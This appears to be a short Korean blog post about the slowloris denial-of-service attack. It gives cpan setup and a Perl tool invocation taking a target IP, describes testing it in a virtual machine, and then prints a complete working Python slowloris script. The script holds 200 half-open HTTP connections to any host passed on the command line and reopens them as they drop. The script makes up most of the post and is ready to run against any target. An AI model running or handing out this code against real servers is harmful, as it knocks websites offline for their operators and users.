http://advent.perl.kr/2012/2012-12-17.html
DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.
해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.
$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More
참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.
cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)
# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]
을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.
와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.
웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.
실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.
서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.
[python]
import socket, random, time, sys
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
sockets = []
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, 80))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Use it like this: python {} example.com".format(sys.argv[0]))
sys.exit()
ip = sys.argv[1]
count = 200
print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
댓글 달기